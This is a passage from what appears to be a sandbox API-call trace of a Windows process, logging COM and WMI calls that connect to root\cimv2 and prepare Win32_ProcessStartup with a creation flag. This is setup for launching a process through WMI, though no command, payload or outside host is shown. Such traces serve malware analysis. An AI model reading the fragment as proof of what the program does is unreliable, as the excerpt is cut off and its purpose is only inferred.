[3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0086.044] WbemDefPath:IUnknown:Release (This=0x1bf10e60) returned 0x3 [0086.045] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0086.045] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0086.045] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ab00, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0086.045] WbemDefPath:IUnknown:Release (This=0x1bf3ab00) returned 0x2 [0086.045] WbemDefPath:IUnknown:Release (This=0x1bf3ab00) returned 0x1 [0086.045] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0086.045] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0086.045] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ab00, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x1bf3ab00) returned 0x0 [0086.045] WbemDefPath:IUnknown:AddRef (This=0x1bf3ab00) returned 0x3 [0086.045] WbemDefPath:IUnknown:Release (This=0x1bf3ab00) returned 0x2 [0086.045] WbemDefPath:IWbemPath:SetText (This=0x1bf3ab00, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0086.045] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3ab00, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0086.045] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ab00, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0086.045] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ab00, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0086.045] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0086.045] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0086.046] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0086.046] IUnknown:Release (This=0x111f638) returned 0x1 [0086.047] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x1bf11000) returned 0x0 [0086.047] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf11000, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0086.047] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bf11000, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x1bf11020) returned 0x0 [0086.047] WbemLocator:IUnknown:Release (This=0x1bf11000) returned 0x0 [0086.047] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf11020, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x1bf11020) returned 0x0 [0086.047] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf11020, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0086.047] WbemLocator:IUnknown:AddRef (This=0x1bf11020) returned 0x3 [0086.047] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf11020, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0086.048] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf11020, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0086.048] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf11020, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0086.048] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0086.048] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0086.048] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf11020, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0086.048] WbemLocator:IUnknown:Release (This=0x1bf11020) returned 0x2 [0086.048] WbemLocator:IUnknown:Release (This=0x1bf11020) returned 0x1 [0086.048] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0086.048] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0086.048] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf11020, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x1bf11020) returned 0x0 [0086.048] WbemLocator:IUnknown:AddRef (This=0x1bf11020) returned 0x3 [0086.048] WbemLocator:IUnknown:Release (This=0x1bf11020) returned 0x2 [0086.048] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3ab00, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0086.048] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ab00, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0086.048] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ab00, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0086.048] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x1bf11040) returned 0x0 [0086.049] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bf11040, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x11c7830) returned 0x0 [0086.295] WbemLocator:IUnknown:QueryInterface (in: This=0x11c7830, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x1bf97f20) returned 0x0 [0086.295] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bf97f20, pProxy=0x11c7830, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0086.295] WbemLocator:IUnknown:Release (This=0x1bf97f20) returned 0x1 [0086.295] WbemLocator:IUnknown:QueryInterface (in: This=0x11c7830, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x1bf97f60) returned 0x0 [0086.295] WbemLocator:IUnknown:QueryInterface (in: This=0x11c7830, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf97f20) returned 0x0 [0086.295] WbemLocator:IClientSecurity:SetBlanket (This=0x1bf97f20, pProxy=0x11c7830, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0086.295] WbemLocator:IUnknown:Release (This=0x1bf97f20) returned 0x2 [0086.295] WbemLocator:IUnknown:Release (This=0x1bf97f60) returned 0x1 [0086.296] CoTaskMemFree (pv=0x11dd2a0) [0086.296] WbemLocator:IUnknown:AddRef (This=0x11c7830) returned 0x2 [0086.296] WbemLocator:IUnknown:Release (This=0x1bf11040) returned 0x0 [0086.296] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0086.296] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0086.296] WbemLocator:IUnknown:QueryInterface (in: This=0x11c7830, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x1bf97f30) returned 0x0 [0086.296] WbemLocator:IRpcOptions:Query (in: This=0x1bf97f30, pPrx=0x1bf11a40, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0086.296] WbemLocator:IUnknown:Release (This=0x1bf97f30) returned 0x2 [0086.296] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0086.296] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0086.297] WbemLocator:IUnknown:QueryInterface (in: This=0x11c7830, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x11c7830) returned 0x0 [0086.297] WbemLocator:IUnknown:Release (This=0x11c7830) returned 0x2 [0086.297] SysStringLen (param_1=0x0) returned 0x0 [0086.297] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3abc0, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0086.297] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3abc0, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0086.297] IWbemServices:GetObject (in: This=0x11c7830, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x1bef4aa0, ppCallResult=0x0) returned 0x0 [0086.299] IWbemClassObject:Get (in: This=0x1bef4aa0, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0086.299] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0086.299] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0086.299] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0086.299] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0086.299] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0086.299] IUnknown:Release (This=0x111f638) returned 0x1 [0086.301] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x1bf11040) returned 0x0 [0086.301] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf11040, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0086.301] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf11040, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x1bf3a980) returned 0x0 [0086.301] WbemDefPath:IUnknown:Release (This=0x1bf11040) returned 0x0 [0086.301] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a980, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x1bf3a980) returned 0x0 [0086.302] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a980, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0086.302] WbemDefPath:IUnknown:AddRef (This=0x1bf3a980) returned 0x3 [0086.302] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a980, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0086.302] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a980, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0086.302] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a980, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x1bf11060) returned 0x0 [0086.302] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf11060, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0086.302] WbemDefPath:IUnknown:Release (This=0x1bf11060) returned 0x3 [0086.302] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0086.302] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0086.302] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a980, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0086.302] WbemDefPath:IUnknown:Release (This=0x1bf3a980) returned 0x2 [0086.303] WbemDefPath:IUnknown:Release (This=0x1bf3a980) returned 0x1 [0086.303] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0086.303] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0086.303] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a980, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x1bf3a980) returned 0x0 [0086.303] WbemDefPath:IUnknown:AddRef (This=0x1bf3a980) returned 0x3 [0086.303] WbemDefPath:IUnknown:Release (This=0x1bf3a980) returned 0x2 [0086.303] WbemDefPath:IWbemPath:SetText (This=0x1bf3a980, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0086.303] IWbemClassObject:Get (in: This=0x1bef4aa0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2955d58*=0, plFlavor=0x2955d5c*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2955d58*=19, plFlavor=0x2955d5c*=0) returned 0x0 [0086.303] IWbemClassObject:Get (in: This=0x1bef4aa0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2955d58*=19, plFlavor=0x2955d5c*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2955d58*=19, plFlavor=0x2955d5c*=0) returned 0x0 [0086.303] IWbemClassObject:Put (This=0x1bef4aa0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0086.303] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3ac80, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0086.303] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0086.303] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0086.303] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0086.303] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0086.304] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0086.304] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0086.304] IUnknown:Release (This=0x111f638) returned 0x1 [0086.306] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x1bf117e0) returned 0x0 [0086.306] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf117e0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0086.306] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf117e0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x1bf3a800) returned 0x0 [0086.306] WbemDefPath:IUnknown:Release (This=0x1bf117e0) returned 0x0 [0086.306] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a800, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x1bf3a800) returned 0x0 [0086.306] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a800, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0086.307] WbemDefPath:IUnknown:AddRef (This=0x1bf3a800) returned 0x3 [0086.307] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a800, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0086.307] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a800, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0086.307] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a800, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, 